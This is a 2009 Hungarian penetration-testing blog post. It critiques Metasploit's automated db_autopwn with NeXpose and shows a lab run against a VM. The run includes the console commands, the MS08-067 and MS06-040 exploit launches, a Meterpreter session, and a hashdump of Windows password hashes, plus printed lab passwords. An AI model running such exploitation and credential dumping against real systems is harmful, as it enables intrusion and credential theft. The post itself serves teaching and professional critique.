2009. december 17., csütörtök

A "Big Red Hacking Button" bölcsessége és butasága

Pusztán termelékenységi-hatékonysági oldalról nézve, pentest során a legjobb az lenne, ha kapnánk egy hatalmas piros "HACK" feliratú gombot, amire ráütünk, elmegyünk kávézni és mire visszajövünk, ott vár három-négy shell és a report vezetői összefoglalóval. Nos, úgy tűnik, hogy a 3.3.2-es Metasploit Framework megadja mindezt - annyi különbséggel, hogy itt a piros gomb helyett be kell írni, hogy "db_autopwn -e -x".

Valahogy így:
root@jester:/usr/share/metasploit/trunk# ./msfconsole

____________
<>
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *


=[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 469 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7849 updated 3 days ago (2009.12.14)

msf > db_
db_connect db_create db_destroy db_disconnect db_driver
msf > db_connect
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose

▄▄▄ ▄▄ ▄▄▄ ▄▄▄
███ ██ ██ ▄██
██▀█ ██ ▄████▄ ████ ██▄███▄ ▄████▄ ▄▄█████▄ ▄████▄
██ ██ ██ ██▄▄▄▄██ ██ ██▀ ▀██ ██▀ ▀██ ██▄▄▄▄ ▀ ██▄▄▄▄██
██ █▄██ ██▀▀▀▀▀▀ ████ ██ ██ ██ ██ ▀▀▀▀██▄ ██▀▀▀▀▀▀
██ ███ ▀██▄▄▄▄█ ██ ██ ███▄▄██▀ ▀██▄▄██▀ █▄▄▄▄▄██ ▀██▄▄▄▄█
▀▀ ▀▀▀ ▀▀▀▀▀ ▀▀▀ ▀▀▀ ██ ▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀ ▀▀▀▀▀
██

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect nxadmin:CsodalatosJ3lsz0@localhost
[*] Connecting to NeXpose instance at localhost:3780 with username nxadmin...
msf > nexpose_connnexpose_scan -x 172.16.75.130
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 4 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 172.16.75.130:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] 172.16.75.130:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] Meterpreter session 1 opened (172.16.75.1:38587 -> 172.16.75.130:1031)
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution...
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

Id Description Tunnel Via
-- ----------- ------ ---
1 Meterpreter 172.16.75.1:38587 -> 172.16.75.130:1031 windows/smb/ms08_067_netapi

[*] ================================================================================

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
bela:1003:c8fbb48411c924a1aad3b435b51404ee:12890636511bacb8784772c8cdd155f7:::
Rendszergazda:500:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
Seg�ts�gny�jt�:1000:36d13542982fd52354b1aeeda39288ad:226a4f6f37969ab489c58939f9bc5f0e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9dbd606208432919c6c49111732cabe3:::
Vend�g:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

(Szemfüles olvasóinkat megerősítjük abban, hogy a tesztelt gép adminjelszava valóban rövidebb hét karakternél, és a gépidő töréssel való fogyasztásának megelőzésére azt is hozzátesszük, hogy a "bela" felhasználó jelszava "bela".)

Nos, igen. Mindehhez kellemes négy-öt kattintással összeállítható a report is, és elvileg készen vagyunk - vagy mégsem?

Az autopwn és a metasploit csodálatosan hatékony eszközök, és biztosan számtalan helyen fogjuk viszontlátni a fenti kombinációt komplett penetration test megoldásként eladva. A helyzet azonban az, hogy ez így nagyon látványos, de ha valaki kizárólag ezzel a módszerrel végez pentestet, akkor úgy viselkedik, mint az az asztalos, akinek egy darab kalapácsa van és meglepve tapasztalja, hogy csupa szög jön szembe, tehát kalapáccsal mindent meg lehet oldani.

A fenti példafuttatása a vmnet8 nevű hálózati interfészen történt - valós környezetben, ügyfélnél inkább nem használjuk. Miért?
  • Csak a jéghegy csúcsát mutatja meg. Valóban, lehet frissíteni a metasploitot is, a nexpose-t is, a Nessust is, azonban önmagukban ezek az eszközök a sebezhetőségek (tesztelői szempontból lehetőségek) egy részét képesek csak megmutatni. A tapasztalat az, hogy a közvetlenül kihasználható, CVE-számmal címkézett, frissítések elmulasztásából fakadó sebezhetőségek mellett - ezek felderítésében jeleskednek automatizált eszközeink - számtalan egyéb vektor is támadható, amelyek legalább olyan veszélyesek. Például megpróbálhatunk on-line módon jelszavakat próbálgatni, esetleg ha már webszerveren futó alkalmazást is találtunk, akkor abban vizsgálni, hogy mindenre gondoltak-e a fejlesztők. A munkát nem lehet sajnos megúszni így sem.
  • Iszonyatosan (NAGYON) zajos. A fenti, nagyon egyszerű teszt során sikerült nagyságrendileg 10 MB-ot forgalmazni a hálózaton, és ezt a pcap mentés alapján nem igazán udvariasan tette teszteszközünk. Sokkal hatékonyabb és jobb megoldás, ha a lépésről lépésre építjük fel a támadást - először kiderítjük, kik vannak a hálózatunkon, majd megállapítjuk a nyitott portjaikat és a rajtuk futó szolgáltatásokat, majd ezen információk birtokában hálózatra szabjuk az automatizált eszközünket (!), és úgy végezzük el a scant.
  • Nem igazán jók a portscannelési funkciók. A portscannelést csomagdump alapján SYN-stealth módszerrel tette meg a nexpose, és sajnos a tapasztalatok szerint nem igazán működik jól, ha tarpitting vagy egyéb portscanning elleni védelem van érvényben. Másrészt az nmap jóval hatékonyabb tud lenni, ha futtatás előtt kimérjük az időzítéseket, a csomagvesztéseket és egyéb statisztikai információkat a hálózattal kapcsolatosan.
A nexpose+metasploit páros nagyon hatékony- demózási célokra, éles tesztek során inkább maradunk a két lépcsővel kézibb tesztelésnél.

2 megjegyzés:

  1. Egyetértek, ugyanakkor hozzátenném, hogy a db_autopwn remekül együtt tud működni akár egy nmap-pal az adatbázisán keresztül

    VálaszTörlés

Kommentek